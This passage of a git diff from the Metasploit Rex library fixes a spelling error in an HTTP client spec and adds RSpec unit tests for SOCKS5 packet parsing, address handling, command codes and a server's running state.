b/spec/lib/rex/proto/http/client_spec.rb index 6100b96a82..561b9c4e34 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -43,7 +43,7 @@ RSpec.describe Rex::Proto::Http::Client do end - it "should respond to intialize" do + it "should respond to initialize" do expect(cli).to be end diff --git a/spec/lib/rex/proto/proxy/socks5/packet_spec.rb b/spec/lib/rex/proto/proxy/socks5/packet_spec.rb new file mode 100644 index 0000000000..237960b4e4 --- /dev/null +++ b/spec/lib/rex/proto/proxy/socks5/packet_spec.rb @@ -0,0 +1,92 @@ +# -*- coding:binary -*- +require 'rex/proto/proxy/socks5/packet' + +RSpec.describe Rex::Proto::Proxy::Socks5::Packet do + Socks5 = Rex::Proto::Proxy::Socks5 + + describe "#address" do + it "should parse an IPv4 address" do + packet = Socks5::Packet.read("\x05\x02\x00\x01\x7f\x00\x00\x01\x00\x00") + expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4) + expect(packet.address).to eq('127.0.0.1') + end + + it "should parse an IPv6 address" do + packet = Socks5::Packet.read("\x05\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00") + expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV6) + expect(packet.address).to eq('::1') + end + + it "should parse a domain name" do + packet = Socks5::Packet.read("\x05\x02\x00\x03\x12www.metasploit.com\x00\x00") + expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_DOMAINNAME) + expect(packet.address).to eq('www.metasploit.com') + end + end + + describe "#address=" do + it "should set an IPv4 address" do + packet = Socks5::Packet.new + packet.address = '127.0.0.1' + expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4) + expect(packet.address_array).to eq([0x7f, 0x00, 0x00, 0x01]) + end + + it "should set an IPv6 address" do + packet = Socks5::Packet.new + packet.address = '::1' + expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV6) + expect(packet.address_array).to eq([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01]) + end + + it "should set a domain name" do + packet = Socks5::Packet.new + packet.address = 'www.metasploit.com' + expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_DOMAINNAME) + expect(packet.address_array).to eq([0x77, 0x77, 0x77, 0x2e, 0x6d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x2e, 0x63, 0x6f, 0x6d]) + end + end + + describe "#command" do + it "should parse a connect command" do + packet = Socks5::Packet.read("\x05\x01\x00\x01\x7f\x00\x00\x01\x00\x00") + expect(packet.command).to eq(Socks5::ServerClient::COMMAND_CONNECT) + end + + it "should parse a bind command" do + packet = Socks5::Packet.read("\x05\x02\x00\x01\x7f\x00\x00\x01\x00\x00") + expect(packet.command).to eq(Socks5::ServerClient::COMMAND_BIND) + end + + it "should parse a UDP associate command" do + packet = Socks5::Packet.read("\x05\x03\x00\x01\x7f\x00\x00\x01\x00\x00") + expect(packet.command).to eq(Socks5::ServerClient::COMMAND_UDP_ASSOCIATE) + end + end + + describe "#read" do + it "should parse all fields" do + packet = Socks5::Packet.read("\x05\x01\x00\x01\x7f\x00\x00\x01\x00\x50") + expect(packet.version).to eq(Socks5::SOCKS_VERSION) + expect(packet.command).to eq(Socks5::ServerClient::COMMAND_CONNECT) + expect(packet.address_type).to eq(Socks5::Address::ADDRESS_TYPE_IPV4) + expect(packet.address).to eq('127.0.0.1') + expect(packet.port).to eq(80) + end + end + + describe "#to_binary_s" do + it "should pack the data to a binary string" do + packet = Socks5::Packet.new + expect(packet.to_binary_s).to eq("\x05\x00\x00\x00\x00\x00") + end + end + + describe "#version" do + it "should have the SOCKS5 version set by default" do + packet = Socks5::Packet.new + packet.version = Socks5::SOCKS_VERSION + end + end + +end diff --git a/spec/lib/rex/proto/proxy/socks5/server_spec.rb b/spec/lib/rex/proto/proxy/socks5/server_spec.rb new file mode 100644 index 0000000000..0b5409b40c --- /dev/null +++ b/spec/lib/rex/proto/proxy/socks5/server_spec.rb @@ -0,0 +1,17 @@ +# -*- coding:binary -*- +require 'rex/proto/proxy/socks5' + +RSpec.describe Rex::Proto::Proxy::Socks5::Server do + + subject(:server) do + Rex::Proto::Proxy::Socks5::Server.new + end + + describe "#is_running?" do + + it "should respond to #is_running?" do + expect(server.is_running?).to eq(false) + end + + end +end